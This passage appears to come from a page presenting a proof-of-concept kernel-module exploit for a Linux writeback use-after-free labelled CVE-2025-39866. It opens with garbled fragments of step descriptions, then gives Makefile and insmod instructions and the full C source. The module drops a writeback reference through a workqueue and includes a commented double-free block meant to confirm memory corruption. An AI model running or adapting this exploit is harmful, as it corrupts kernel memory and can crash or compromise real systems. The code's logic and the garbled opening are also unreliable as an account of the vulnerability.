/tmp)./tmp/file.txt) and write data (writeback target).inode structure.wb).wb_old (preserve it for later).inode_switch_wbs_work_fn, updates inode->i_wb and triggers the critical free by calling wb_put_many.wb_old object (via the workqueue).
1 - He created a Makefile and included these commands to compile and build the kernel module:
obj-m += exploit.o
KDIR := /usr/src/linux-headers-6.12.38+kali-amd64
PWD := $(shell pwd)
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
# make clean # make 1 - You will find a file named "exploit.ko," which is a kernel module. To load it into the kernel space, use the insmod tool : # insmod exploit.ko
File: poc.c — Size: 8,87 KB — Lines: 323
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/pid.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/workqueue.h>
#include <linux/namei.h>
#include <linux/err.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/fdtable.h>
#include <linux/file.h>
#include <linux/backing-dev.h>
#include <linux/writeback.h>
static void inode_switch_wbs_work_fn(struct work_struct* work);
struct bdi_writeback* oldWbValue;
struct inode* oldIndode;
static struct workqueue_struct* cleanWORK;
struct my_wb_work
{
struct work_struct work;
struct bdi_writeback* wb_old;
struct inode* inode;
};
struct myWriteback
{
int data;
atomic_t refcount;
};
static void inode_switch_wbs_work_fn(struct work_struct* work)
{
struct my_wb_work* wbWork = container_of(work,
struct my_wb_work,
work);
wb_put_many(wbWork->wb_old, 1);
kfree(wbWork);
}
static int func1(void)
{
pid_t mainPid;
struct pid* pidS;
struct task_struct* task;
mainPid = current->tgid;
if (mainPid == 0)
{
printk(KERN_ERR "[-] PID IS 0 !\n");
return -EINVAL;
}
printk(KERN_INFO "[+] MAIN PID (thread 1) : %d\n", mainPid);
pidS = find_get_pid(mainPid);
if (!pidS)
{
printk(KERN_ERR "[-] PID %d not found, Exit...\n", mainPid);
return -ESRCH;
}
task = pid_task(pidS, PIDTYPE_PID);
if (!task)
{
printk(KERN_ERR "[-] Task Struct for PID %d not found\n", mainPid);
return -ESRCH;
}
printk(KERN_INFO "[+] Found process: %s with PID: %d\n", task->comm, task->pid);
printk(KERN_INFO "[+] Get Root Dentry (/tmp)...\n");
struct path path;
int v = kern_path("/tmp",
LOOKUP_FOLLOW,
&path);
if (v)
{
printk(KERN_ERR "[-] Cannot get path tmp !\n");
return -EINVAL;
}
printk(KERN_INFO "[+] Get Path tmp success.\n");
struct dentry* rootDentry = path.dentry;
struct vfsmount* mount = path.mnt;
if (rootDentry != NULL && mount != NULL)
{
printk(KERN_INFO "[+] Get Success ROOT DENTRY AND MOUNT POINT.\n");
printk(KERN_INFO "[+] PATH Root Dentry : %s\n",
rootDentry->d_name.name);
printk(KERN_INFO "[+] Mount root (ID) : %s\n",
mount->mnt_sb->s_id);
}
struct file* filp;
int fd;
fd = get_unused_fd_flags(O_CLOEXEC);
if (fd < 0)
{
return fd;
}
printk(KERN_INFO "[+] File Create Module, Initializing...\n");
filp = filp_open("/tmp/file.txt",
O_WRONLY | O_CREAT,
0600);
if (IS_ERR(filp))
{
int e = PTR_ERR(filp);
put_unused_fd(fd);
printk(KERN_ERR "[-] File OPEN failed : %d\n",
e);
return e;
}
fd_install(fd,
filp);
printk(KERN_INFO "[+] File /tmp/file.txt created and installed on fd=%d\n", fd);
char* data = "Target File.\n";
ssize_t w;
loff_t offset = 0;
w = kernel_write(filp,
data,
strlen(data),
&offset);
if (w < 0)
{
printk(KERN_ERR "[-] Kernel Write Data failed : %zd\n",
w);
}
else
{
printk(KERN_INFO "[+] Write %zd bytes to file\n",
w);
if (offset != 0)
{
printk(KERN_INFO "[+] Current offset in file: %lld\n",
(long long)offset);
}
}
struct inode* inode;
inode = file_inode(filp);
if (!inode)
{
pr_err("[-] No INODE IN FILE !\n");
return -EINVAL;
}
__mark_inode_dirty(inode,
I_DIRTY_SYNC);
struct address_space* mapping;
mapping = inode->i_mapping;
struct backing_dev_info* bdi = inode_to_bdi(inode);
struct bdi_writeback* wb = &bdi->wb;
if (bdi != NULL && (wb != NULL && mapping != NULL))
{
printk(KERN_INFO "[+] WB object Get Success.\n");
printk(KERN_INFO "[+] WB Pointer : %p\n",
wb);
printk(KERN_INFO "[+] Pointer Mapping inode : %p\n",
mapping);
}
else
{
printk(KERN_ERR "[-] Error get WB and mapping inode (NULL value) !\n");
return -EINVAL;
}
put_task_struct(task);
put_pid(pidS);
oldWbValue = wb;
oldIndode = inode;
return 0;
}
static int func2(void *data)
{
bool done = false;
while (!kthread_should_stop())
{
struct task_struct* taskThread2;
struct pid* pidStruct;
printk(KERN_INFO "[+] Thread 2 is RUN SUCCESS.\n");
ssleep(1);
pid_t kthreadPid;
kthreadPid = current->tgid;
printk(KERN_INFO "[+] PID thread 2 : %d\n", kthreadPid);
if (kthreadPid == 0)
{
printk(KERN_ERR "[-] Error get TGID !\n");
return -EINVAL;
}
printk(KERN_INFO "[+] TGID Thread 2 : %d\n", kthreadPid);
pidStruct = find_get_pid(kthreadPid);
if (!pidStruct)
{
printk(KERN_ERR "[-] Error Find PID thread 2 !\n");
}
taskThread2 = pid_task(pidStruct,
PIDTYPE_PID);
if (taskThread2)
{
get_task_struct(taskThread2);
}
else
{
printk(KERN_INFO "[-] Error get TASK struct !\n");
return -EINVAL;
}
printk(KERN_INFO "[+] Found process thread 2 : %s with PID: %d\n",
taskThread2->comm,
taskThread2->pid);
if (oldWbValue == NULL || oldIndode == NULL)
{
printk("[-] Error switch wb_old (NULL value) OR (inode_old NULL) !\n");
return -EINVAL;
}
struct my_wb_work* wbWork = kmalloc(sizeof(*wbWork),
GFP_KERNEL);
if (!wbWork)
{
printk(KERN_ERR "[-] Error allocating WB work struct!\n");
return -ENOMEM;
}
printk(KERN_INFO "[+] Get WB work Success (NOT NULL struct)\n");
wbWork->wb_old = oldWbValue;
wbWork->inode = oldIndode;
if (wbWork->wb_old == NULL ||
wbWork->inode == NULL)
{
printk(KERN_INFO "[-] Error Set old inode and wb, Exit...\n");
return -EINVAL;
}
printk(KERN_INFO "[+] Set Success OLD WB AND OLD INODE (o_inode && old_wb Not NULL).\n");
if (!cleanWORK)
{
cleanWORK = alloc_workqueue("cleanWB",
WQ_UNBOUND | WQ_MEM_RECLAIM,
0);
}
INIT_WORK(&wbWork->work,
inode_switch_wbs_work_fn);
bool queue = queue_work(cleanWORK,
&wbWork->work);
if (queue == false)
{
printk(KERN_WARNING "[-] Work was already queued, not added again!\n");
return -1;
}
printk(KERN_INFO "[+] Switch wb_old and inode_old Sucess (inode_switch_wbs_work_fn)\n");
put_task_struct(taskThread2);
put_pid(pidStruct);
printk(KERN_INFO "[+] PUT PID AND Struct TASK...\n");
printk(KERN_INFO "[+] Free old wb...\n");
// POC CONFIRMATION: Uncomment this block if you want to verify the Race Condition success.
// A resulting Double Free will confirm the pointer was previously freed by wb_put_many().
//struct kmem_cache* cacheWB;
//cacheWB = kmem_cache_create("cacheWB",
//sizeof(struct myWriteback),
//0, SLAB_HWCACHE_ALIGN,
//NULL);
//struct writeback* wbCopy = kmem_cache_alloc(cacheWB, GFP_KERNEL);
//wbCopy = (struct writeback*)oldWbValue;
//kmem_cache_free(cacheWB, wbCopy);
done = true;
if (done == true)
{
break;
}
}
return 0;
}
struct task_struct* threadE;
static int __init initM(void)
{
printk(KERN_INFO "[+] Module loaded successfully\n");
if (func1() != 0)
{
printk(KERN_ERR "[-] func1 failed, exiting module\n");
return -1;
}
threadE = kthread_run(func2,
NULL,
"threaD2");
if (IS_ERR(threadE))
{
printk(KERN_ERR "[-] Failed to create thread 2\n");
return PTR_ERR(threadE);
}
return 0;
}
static void __exit exitM(void)
{
if (threadE)
{
kthread_stop(threadE);
threadE = NULL;
}
if (cleanWORK)
{
flush_workqueue(cleanWORK);
destroy_workqueue(cleanWORK);
cleanWORK = NULL;
}
printk(KERN_ALERT "[+] Module removed.\n");
}
module_init(initM);
module_exit(exitM);
MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Byte Reaper");
MODULE_DESCRIPTION("Exploit for CVE-2025-39866");